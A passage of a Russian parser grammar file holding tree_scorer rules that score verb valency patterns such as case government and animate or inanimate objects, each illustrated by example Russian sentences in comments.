tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ломать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поломать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:переломать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обломать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:обламывать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
// Критика должна составлять душу журнала.
// ^^^^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:составлять{1}.<OBJECT>НеодушОбъект{ 2 ПАДЕж:ВИН} } then 1 }
// ПОРАЗИТЬ обычно можно КОГО-ТО, а не чего-то:
// однако его глубоко поразило одно событие.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поразить{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН } }
then 2
}
// такое положение вещей его вполне устраивает.
// ^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:устраивать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:устроить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// Обычно ПОИСКАТЬ можно КОМУ-ТО, а не чему-то:
// Давайте поищем примеры реализации этой функции
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поискать{}.<OBJECT>НеодушОбъект{ПАДЕж:ДАТ} } then -1 }
// Давать КОМУ-ТО ЧЕГО-ТО:
// Рита дает девочке хлеба.
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:давать{}.{
<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ }
<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД }
}
}
then 5
}
// Я дам им чаю
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.{
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
<OBJECT>*:*{ ПАДЕЖ:ПАРТ }
}
}
then 5
}
// попросил передать управление станции.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:передать{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
}
}
then 5
}
// ЕСТЬ могут обычно только одушевленные:
// Антонио ест суп и пюре
// ^^^^^^^ ^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:есть{}.{ <SUBJECT>ОдушОбъект{} <OBJECT>*:*{ падеж:вин } } }
then 1
}
/*
// есть несколько возможных вариантов.
tree_scorer language=Russian
{
if context { rus_verbs:быть{}.наречие:несколько{}.существительное:*{} }
then 1
}
*/
// Мы можем использовать эти сюжеты в молитвах.
// ^^^^^^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:использовать{}.предлог:в{}.*:*{ падеж:предл } }
then 2
}
// ЛУЧШЕ+инфинитив является очень частотным паттерном, в отличие от использования ЛУЧШЕ в качестве
// простого атрибута глагола (как в СТАРАЙСЯ ЛУЧШЕ!)
// лучше избавиться от обезьяны
// ^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:лучше{1}.инфинитив:*{2} } then 2
}
// ПОКОРМИТЬ можно кого-то одушевленного:
// Мы покормили белок.
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:покормить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:кормить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:накормить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
// СЛУШАТЬСЯ кого-то/вин:
// слушаться родителей
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:слушаться{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:послушаться{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
// ПОЛОЖИТЬ кого-то/вин/:
// Нам придётся положить его в больницу.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:положить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ложить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
// ХОТЕТЬ кому-то одуш
// хочу кофе
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:хотеть{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// КАК обычно является наречием, модифицирующим глаголы и инфинитивы
// однако как остановить профессора?
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{2}.<ATTRIBUTE>наречие:как{1}.[not]*:*{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{2}.<ATTRIBUTE>наречие:как{1}.[not]*:*{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { безлич_глагол:*{2}.<ATTRIBUTE>наречие:как{1}.[not]*:*{} } then 2 }
// кроме того, КАК может атрибутировать наречия:
tree_scorer language=Russian { if context { наречие:*{ степень:атриб }.<ATTRIBUTE>наречие:как{} } then 1 }
// как будто они нас понимают
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.<ATTRIBUTE>наречие:как будто{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.<ATTRIBUTE>наречие:как будто{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { прилагательное:*{ причастие краткий }.<ATTRIBUTE>наречие:как будто{} } then 7 }
// внутри все выглядело как всегда
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.<ATTRIBUTE>наречие:как всегда{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.<ATTRIBUTE>наречие:как всегда{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { прилагательное:*{ причастие краткий }.<ATTRIBUTE>наречие:как всегда{} } then 7 }
// сегодня все было как обычно
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.<ATTRIBUTE>наречие:как обычно{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.<ATTRIBUTE>наречие:как обычно{} } then 7 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { прилагательное:*{ причастие краткий }.<ATTRIBUTE>наречие:как обычно{} } then 7 }
/*
// наречие КАК обычно не стоит справа от глагола в одиночку.
// убью как собаку.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{1}.<ATTRIBUTE>наречие:как{2}.[not]*:*{} }
then -10
}
*/
// Олег вытянул вперед руки
// ^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вытянуть{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вытягивать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
// теперь она могла его толком рассмотреть.
// ^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.<ATTRIBUTE>наречие:толком{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.<ATTRIBUTE>наречие:толком{} } then 2 }
// они быстро пересекли плато
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:пересечь{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:пересекать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 2 }
// Как вызвать такси?
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вызвать{}.<OBJECT>*:*{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вызывать{}.<OBJECT>*:*{ падеж:вин } } then 1 }
// наверху их охватил морской ветер.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:охватить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// Чиновник уже пообещал, что не будет покрывать своего родственника
// ^^^^^^^^^ ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:покрывать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then 2
}
// Толстые линии показывают связи между участками коры
// ^^^^^^^^^^ ~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показывать{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показывать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } } then 2 }
// Олег хмуро окинул взглядом убитого.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:окинуть{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// по левой стороне груди текла кровь.
// ~~~~~ ^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:течь{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } } then -2 }
// это может лишить наше общество работы
// ^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:лишить{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:лишать{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД } } then 2 }
// сбивая их сильной струей воды с надводной растительности
// ^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сбивать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сбить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// Лидеры организации хасидов заявили, что деньги их не интересуют
// ^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:интересовать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// как радостно за руку ее схватили!
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:схватить{}.<OBJECT>местоимение:я{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:хватать{}.<OBJECT>местоимение:я{ ПАДЕЖ:ВИН } } then 2 }
// Антон поднес ладони к горлу
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поднести{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:подносить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// оставшиеся вынуждены по очереди помогать ей двигаться вперед
// ^^^^^^^^^ ^^^^^^^^
tree_scorer language=Russian { if context { прилагательное:вынужденный{}.инфинитив:*{} } then 2 }
// Артур погладил по носу старого коня
// ^^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:погладить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:гладить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// ты можешь нас туда провести?
// ^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:провести{}.<OBJECT>местоимение:я{ ПАДЕЖ:ВИН } } then 1 }
// провожают обычно одушевленные объекты,
tree_scorer ВалентностьГлагола language=Russian { if context { глагол:проводить{ вид:соверш }.<OBJECT>НеодушОбъект{ падеж:вин } } then -5 }
tree_scorer ВалентностьГлагола language=Russian { if context { инфинитив:проводить{ вид:соверш }.<OBJECT>НеодушОбъект{ падеж:вин } } then -5 }
tree_scorer ВалентностьГлагола language=Russian { if context { глагол:проводить{ вид:несоверш }.<OBJECT>ОдушОбъект{ падеж:вин } } then -5 }
tree_scorer ВалентностьГлагола language=Russian { if context { инфинитив:проводить{ вид:несоверш }.<OBJECT>ОдушОбъект{ падеж:вин } } then -5 }
// у ворот всадников проводили жесткие темные глаза стражи
tree_scorer ВалентностьГлагола language=Russian { if context { глагол:проводить{ вид:соверш }.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
// но это мешало им
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:мешать{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:помешать{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:препятствовать{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
// его можно предотвратить
// ^^^ ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предотвратить{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предотвращать{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предотвратить{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН } } then -10 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:предотвращать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН } } then -10 }
// им хорошо платят
// ^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:платить{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:заплатить{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
// Гарри взял
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:взять{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:РОД } } then -1 }
// сигареты у него забрали
tree_scorer ВалентностьПредиката language=Russian { if context { rus_verbs:забрать{}.<SUBJECT>НеодушОбъект } then -1 }
tree_scorer ВалентностьПредиката language=Russian { if context { rus_verbs:брать{}.<SUBJECT>НеодушОбъект } then -1 }
tree_scorer ВалентностьПредиката language=Russian { if context { rus_verbs:забирать{}.<SUBJECT>НеодушОбъект } then -1 }
// тот принял ее мертвой рукой.
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:принять{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:принимать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// В США миллионера осудили за попытку продать Ирану детали для ракет ПВО
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:осудить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:осуждать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// Африканский союз позвал войска НАТО в Мали
// ^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:позвать{}.предлог:в{}.*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:звать{}.предлог:в{}.*:*{ падеж:вин } } then 2 }
// вряд ли это им понравится.
// ^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:понравиться{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
// слушайся меня
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:слушаться{}.<OBJECT>*:*{ ПАДЕЖ:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:послушаться{}.<OBJECT>*:*{ ПАДЕЖ:РОД } } then 2 }
// все это ее непосредственно касалось.
// ^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:коснуться{}.<OBJECT>*:*{ ПАДЕЖ:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:касаться{}.<OBJECT>*:*{ ПАДЕЖ:РОД } } then 2 }
// а громадный глаз подмигнул им
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:подмигнуть{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:подмигивать{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
// ты мог бы им помочь.
// ^^ ^^^^^^
//tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:помочь{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
//tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:помогать{}.<OBJECT>*:*{ ПАДЕЖ:ДАТ } } then 2 }
// воины окружили их кольцом.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:окружить{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } <OBJECT>НеодушОбъект{ ПАДЕЖ:ТВОР } } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:окружать{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } <OBJECT>НеодушОбъект{ ПАДЕЖ:ТВОР } } } then 2 }
// кому теперь нужны новые программы?
// ^^^^ ^^^^^
tree_scorer language=Russian { if context { прилагательное:нужный{}.<OBJECT>местоим_сущ:кто{ ПАДЕЖ:ДАТ } } then 2 }
// именно твое мнение для нас крайне важно.
// ^^^ ^^^^^
tree_scorer language=Russian { if context { прилагательное:важный{}.предлог:для{} } then 2 }
// от него ждали реакции.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ждать{}.{ <OBJECT>НеодушОбъект{ ПАДЕЖ:РОД } предлог:от{} } } then 2 }
// протер от пыли глаза.
// ^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:протереть{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:притирать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } } then 2 }
// ты предпочел камни моей жизни.
// предпочесть ЧТО-ТО ЧЕМУ-ТО
tree_scorer ВалентностьГлагола language=Russian
{
if context {
rus_verbs:предпочесть{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
}
} then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context {
rus_verbs:предпочитать{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
}
} then 2
}
// мы вынуждены просить вашей помощи.
// ^^^^^^^ ~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:просить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:запросить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// Наречие ТАК обычно не модифицирует наречия места и времени:
// так где ты был?
tree_scorer language=Russian { if context { наречие:*{ ОБСТ_ВАЛ:МЕСТО }.наречие:так{} } then -100 }
tree_scorer language=Russian { if context { наречие:*{ ОБСТ_ВАЛ:НАПРАВЛЕНИЕ }.наречие:так{} } then -100 }
tree_scorer language=Russian { if context { наречие:*{ ОБСТ_ВАЛ:НАПРАВЛЕНИЕ_ОТКУДА }.наречие:так{} } then -100 }
tree_scorer language=Russian { if context { наречие:*{ ОБСТ_ВАЛ:МОМЕНТ_ВРЕМЕНИ }.наречие:так{} } then -100 }
tree_scorer language=Russian { if context { наречие:*{ ОБСТ_ВАЛ:КРАТНОСТЬ }.наречие:так{} } then -100 }
// равнина напоминала поле битвы.
// ^^^^^^^^^^ ~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:напоминать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:напомнить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// Дети угостили белок орешками.
// УГОСТИТЬ можно КОГО-ТО
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:угостить{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:угощать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:угостить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:угощать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// хочешь кофе?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:хотеть{}.<OBJECT>существительное:*{ падеж:род <в_класс>существительное:напиток{} } }
then 1
}
// мы встретили охотника, способного догнать и поймать кенгуру
// ^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:поймать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ловить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// протестующие начали собираться на площади
// ^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:собираться{}.предлог:на{}.*:*{ падеж:предл } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:собраться{}.предлог:на{}.*:*{ падеж:предл } }
then 1
}
// Когда он вошел, все стаканы попадали с полки.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:падать{}.предлог:с{}.*:*{ падеж:род } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:попадать{}.предлог:с{}.*:*{ падеж:род } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:упасть{}.предлог:с{}.*:*{ падеж:род } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:свалиться{}.предлог:с{}.*:*{ падеж:род } } then 2 }
// подруга Иды не пришла на урок
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:придти{}.предлог:на{}.*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:прийти{}.предлог:на{}.*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:приходить{}.предлог:на{}.*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:зайти{}.предлог:на{}.*:*{ падеж:вин } } then 2 }
// Английская традиция акварели оказала сильное влияние на русских художников
// ~~~~~~~~ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:оказать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:оказывать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -2 }
// одна из женщин показалась ему знакомой.
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показаться{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// две женщины вывели из темноты раненого.
// ^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вывести{}.*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:выводить{}.*:*{ падеж:вин } } then 2 }
// она часто просила меня рассказывать истории.
// ^^^^^^^^^^^^ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:рассказать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:рассказывать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// Мы рассказывали о тех, кто менял мир
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:рассказывать{}.предлог:о{}.*:*{ падеж:вин } } then -10
}
// к вечеру жара спала.
// ^^^^ ~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { глагол:спать{}.<SUBJECT>НеодушОбъект } then -2 }
// Доллар снова сдает позиции
// ^^^^^ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сдавать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сдать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// жена полковника смотрела им вслед
// ^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:смотреть{}.послелог:вслед{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:посмотреть{}.послелог:вслед{} } then 2 }
// можно попытаться заменить собой стражу.
// ^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:заменить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:заменять{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// двое крестьян схватили за руки своего господина.
// ^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:схватить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:хватить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// тебя вызывает начальник станции.
// ^^^^^^^^ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вызывать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:вызвать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
// тот молча сунул ей два факела.
// ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сунуть{}.<OBJECT>*:*{ падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:совать{}.<OBJECT>*:*{ падеж:дат } } then 2 }
// Михаил зажал себе ладонью рот.
// ^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:зажать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:зажимать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// им оставалось преодолеть около тридцати футов.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { 'оставалось'{2 class:безлич_глагол}.<OBJECT>*:*{ 1 падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { 'остается'{2 class:безлич_глагол}.<OBJECT>*:*{ 1 падеж:дат } } then 2 }
// ей приходилось идти очень медленно.
// ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { 'приходилось'{ 2 class:безлич_глагол }.<OBJECT>*:*{ 1 падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { 'приходится'{2 class:безлич_глагол}.<OBJECT>*:*{ 1 падеж:дат } } then 2 }
// кого интересует мнение машины?
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:интересовать{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// Газета сообщает об открытии сессии парламента.
// ^^^^^^^^ ~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сообщать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сообщить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сообщать{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сообщить{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 2 }
// ей довелось увидеть только последствия.
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { 'довелось'{2}.<OBJECT>*:*{ 1 падеж:дат } } then 2 }
// Геолог недавно открыл залежи руды.
// ^^^^^^ ~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:открыть{}.<OBJECT>*:*{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:открывать{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// Дети не дают матери покоя.
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context {
rus_verbs:давать{}.{
частица:не{}
